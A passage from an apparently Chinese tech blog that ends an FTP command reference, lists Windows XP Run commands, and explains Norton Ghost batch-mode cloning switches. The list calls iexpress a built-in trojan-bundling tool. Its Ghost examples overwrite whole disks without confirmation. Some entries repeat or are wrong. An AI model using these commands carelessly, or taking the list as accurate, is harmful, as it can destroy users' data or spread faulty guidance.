56.rmdir dir-name:刪除遠程主机目錄。

57.runique:設置文件名只一性存儲,若文件存在,則在原文件后加后綴.1, .2等。
58.send local-file[remote-file]:同put。

59.sendport:設置PORT命令的使用。
60.site arg1,arg2...:將參數作為SITE命令逐字發送至遠程ftp主机。

61.size file-name:顯示遠程主机文件大小,如:site idle 7200。
62.status:顯示當前ftp狀態。www.jz5u.com

63.struct[struct-name]:將文件傳輸結构設置為struct-name, 缺省時使用stream結构。
64.sunique:將遠程主机文件名存儲設置為只一(與runique對應)。

65.system:顯示遠程主机的操作系統類型。
66.tenex:將文件傳輸類型設置為TENEX机的所需的類型。

67.tick:設置傳輸時的字節計數器。
68.trace:設置包跟蹤。

69.type[type-name]:設置文件傳輸類型為type-name,缺省為ascii,如:type binary,設置二進制傳輸方式。
70.umask[newmask]:將遠程服務器的缺省umask設置為newmask,如:umask 3

71.user user-name[password][account]:向遠程主机表明自己的身份,需要口令時,必須輸入口令,如:user anonymous my@email。
72.verbose:同命令行的-v參數,即設置詳盡報告方式,ftp 服務器的所有響 應都將顯示給用戶,缺省為on.

73.?[cmd]:同help.

#11 十一:

7:計算机運行命令全集 winver---------檢查Windows版本
wmimgmt.msc----打開windows管理體系結构
wupdmgr--------windows更新程序
winver---------檢查Windows版本
wmimgmt.msc----打開windows管理體系結构
wupdmgr--------windows更新程序
wscript--------windows腳本宿主設置
write----------寫字板winmsd-----系統信息
wiaacmgr-------掃描儀和照相机向導
winchat--------XP自帶局域網聊天
mem.exe--------顯示內存使用情況
Msconfig.exe---系統配置實用程序
mplayer2-------簡易widnows media player
mspaint--------畫圖板
mstsc----------遠程桌面連接
mplayer2-------媒體播放机
magnify--------放大鏡實用程序
mmc------------打開控制台
mobsync--------同步命令
dxdiag---------檢查DirectX信息
drwtsn32------ 系統醫生
devmgmt.msc--- 設備管理器
dfrg.msc-------磁盤碎片整理程序
diskmgmt.msc---磁盤管理實用程序
dcomcnfg-------打開系統組件服務
ddeshare-------打開DDE共享設置
dvdplay--------DVD播放器
net stop messenger-----停止信使服務
net start messenger----開始信使服務
notepad--------打開記事本
nslookup-------網絡管理的工具向導
ntbackup-------系統備份和還原
narrator-------屏幕"講述人"
ntmsmgr.msc----移動存儲管理器
ntmsoprq.msc---移動存儲管理員操作請求
netstat -an----(TC)命令檢查接口
syncapp--------創建一個公文包
sysedit--------系統配置編輯器
sigverif-------文件簽名驗証程序
sndrec32-------錄音机
shrpubw--------創建共享文件夾
secpol.msc-----本地安全策略
syskey---------系統加密,一旦加密就不能解開,保護windows xp系統的雙重密碼
services.msc---本地服務設置
Sndvol32-------音量控制程序
sfc.exe--------系統文件檢查器
sfc /scannow---windows文件保護
tsshutdn-------60秒倒計時關机命令
tourstart------xp簡介(安裝完成后出現的漫游xp程序)
taskmgr--------任務管理器
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打開資源管理器
packager-------對象包裝程序
perfmon.msc----計算机性能監測程序
progman--------程序管理器
regedit.exe----注冊表
rsop.msc-------組策略結果集
regedt32-------注冊表編輯器
rononce -p ----15秒關机
regsvr32 /u *.dll----停止dll文件運行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盤檢查
certmgr.msc----証書管理實用程序
calc-----------啟動計算器
charmap--------啟動字符映射表
cliconfg-------SQL SERVER 客戶端網絡實用程序
Clipbrd--------剪貼板查看器
conf-----------啟動netmeeting
compmgmt.msc---計算机管理
cleanmgr-------**整理
ciadv.msc------索引服務程序
osk------------打開屏幕鍵盤
odbcad32-------ODBC數据源管理器
oobe/msoobe /a----檢查XP是否激活
lusrmgr.msc----本机用戶和組
logoff---------注銷命令
iexpress-------木馬捆綁工具,系統自帶
Nslookup-------IP地址偵測器
fsmgmt.msc-----共享文件夾管理器
utilman--------輔助工具管理器
gpedit.msc-----組策略

2007年12月22日

ghost ---DOS Batch mode

關於程式操作有兩種模式,一種是交談模式(Interactive mode),另一種是批次模式(DOS Batch mode),如果使用自動執行的方式來設定Ghost的還原、備份是非常方便的,使用者可以不用靠任何的程式、指令操作,即可達到自動還原、備份的目的,如何設定批次執行?在此以最常用到的方式作說明。

-clone複製

完整的語法如下:

-clone,MODE={copy|load|dump|pcopy|pload|pdump

},SRC={drive|file|drive:partition},DST={drive|file|drive:partition}

Clone在使用時,必須加入參數,它同時也是所有的批次 switch (batch switch) 裡,最實用的一種。下面是 clone 所定義的參數:

MODE – 用來指定要使用哪一種 clone 所提供的命令:
COPY – 由磁碟到磁碟的複製 (disk to disk copy)。

LOAD – 由檔案到磁碟的載入 (file to disk load)。

DUMP – 由磁碟到檔案的傾印 (disk to file dump)。

PCOPY – 由分割區到分割區的複製 (partition to partition copy)。

PLOAD – 由檔案到分割區的載入 (file to partition load)。

PDUMP – 由分割區到檔案的傾印 (partition to file dump)。

SRC–這指定了當Ghost運作時,所使用的來源物件的位置(source location)。模式及其意義(Mode Meaning):
COPY/

DUMP 來源磁碟號碼(source drive) (例如,以1代表第1號磁碟)。

LOAD 磁碟影像檔名(disk image filename) (如 g:\Images\system2.img),或裝置名稱 (drive)。

PCOPY

PDUMP 來源分割區號碼 (source partition)。例如,1:2 代表的是,磁碟 1 的第 2 個分割區。

PLOAD 分割區影像檔名稱(partition image filename)加上分割區號碼(partition number),或是裝置名稱 (device) 加上分割區號碼。例如:g:\images\disk1.img:2,所代表的是影像檔裡面的第2個分割區。

DST - 這指定了當Ghost運作時,所使用的目的物件的位置。
模式及其意義(Mode Meaning):

COPY/

DUMP 目的磁碟號碼(destination drive) (例如,以2代表第2號磁碟)。

LOAD 磁碟影像檔名稱 (disk image filename) (如 g:\Images\system2.img),或裝置名稱(drive)。

PCOPY/

PLOAD 目的分割區號碼 (destination partition)。例如,2:2代表的是,磁碟 2 的第 2 個分割區。

PDUMP 分割區影像檔名 (partition image filename)加上分割區號碼(partition number) (例如:g:\images\part1.img:2)。

SZEy – 用來指定當磁碟載入(disk load)或磁碟複製(disk copy)時,所使用的目的分割區的大小。
 可使用的選項:

n=xxxxM

指定第 n 的目的分割區的大小為 xxxx MB (如,SZE2=800M表示分割區 2 的大小為 800 MB)。

n=mmP

指定第 n 的目的分割區的大小,為整個磁碟的mm個百分比。

-fro

當來源物件(source)裡有壞區塊出現時,強迫複製的動作(cloning) 要繼續進行。

-fx

離開旗標 (Exit flag)。通常,當 Ghost 完成將某個新系統複製到磁碟的工作以後,它會顯示一個“Press Ctrl-Alt-Del to Reboot” 的視窗,提醒使用者該重新開機了。然而,如果 Ghost 是以批次模式,被放進某個批次檔內執行,最好能夠提供一個命令,在Ghost的工作完成後,結束Ghost的執行,將控制權轉回至DOS(DOS prompt)下,這樣,在同一個批次檔裡,後面的命令才會被繼續執行。-fx這個switch做的就是這件事。有興趣的話,也請參考一下,–rb這個同樣被用在複製工作完成時的選項。

-ia

都進行磁區對磁區的複製工作 (sector-by-sector copy)。當由一個影像檔(image file),或由另一個磁碟為來源,複製一個分割區時,Ghost 將會先檢查來源分割區,再決定只要複製檔案和目錄結構,還是要做影像複製(image copy) (就是 sector-by-sector copy)的工作。如果 Ghost 能看得懂分割區的內部結構,在預設上,它會採用複製檔案及目錄結構的複製方式。在大部分的情況下,前面的做法的確是最好的選擇。但偶爾,在磁碟的某些分割區的特定位置裡,也可能會被放進一些隱藏的、與系統安全相關的檔案(security files)。想正確地在目標分割區 (target partition) 上,重新產生這些檔案的唯一方法,就是採用影像複製的方式。

 

-pwd and -pwd=x

表示在產生影像檔 (image file) 時,要使用密碼保護的功能。X是為了保護這個影像檔,所須設定的密碼。如果在使用這個switch時,使用者沒有在命令列裡提供密碼,Ghost 在執行時,會提示使用者給定一個密碼。

-rb

在載入或複製動作完成後,將系統重新開機。在載入或複製的動作完成之後,目標磁碟所在的PC必須重新開機,好讓作業系統重新載入與磁碟或分割區相關的資訊。在一般的執行狀況下,Ghost會送給使用者一個“Press Ctrl-Alt-Del to reboot” 的提示訊息。-rb這個switch告訴Ghost,在複製(clone)的動作結束後,自動將機器重新開機,這對在批次檔裡被執行的Ghost尤其有用。有興趣的話,也請參考一下,–fx 這個同樣被用在複製工作完成時的選項。

-sure

-sure這個switch可以和-clone合用,讓Ghost不會送出最後的“Proceed with disk clone- destination drive will be overwritten?” 的提示訊息。這個命令在批次模式下很有用。

 

用法1:

將PC上的一部磁碟,複製到另外一部磁碟上,如果判斷可以正常執行無誤,就不經確認,繼續執行。

ghost.exe -clone,mode=copy,src=1,dst=2 -sure

用法2:

將磁碟1裡的第2個分割區,複製到同一部PC裡的磁碟2,裡面的第1個分割區。選擇不經確認,繼續執行

ghost.exe -clone,mode=pcopy,src=1:2,dst=2:1 -sure

用法3:

將磁碟1的第2個分割區,頃倒對應在g磁碟裡的影像檔案。

ghost.exe -clone,mode=pdump,src=1:2,dst=g:\part2.gho

用法4:

從某個內部存有兩個分割區的影像檔案(存放在對應到g磁碟的網路磁碟裡)裡,載入第2個分割區到區域磁碟(local disk)的第2個分割區裡。

ghost -clone,mode=pload,src=g:\part2.gho:2,dst=1:2

用法5:

將磁碟2載入某個影像檔的內容,並將磁碟2的分割區大小比例,修改成60:40的配置比例。

ghost.exe -clone,mode=load,src=g:\2prtdisk.gho,dst=2, sze1=60P,sze2=40P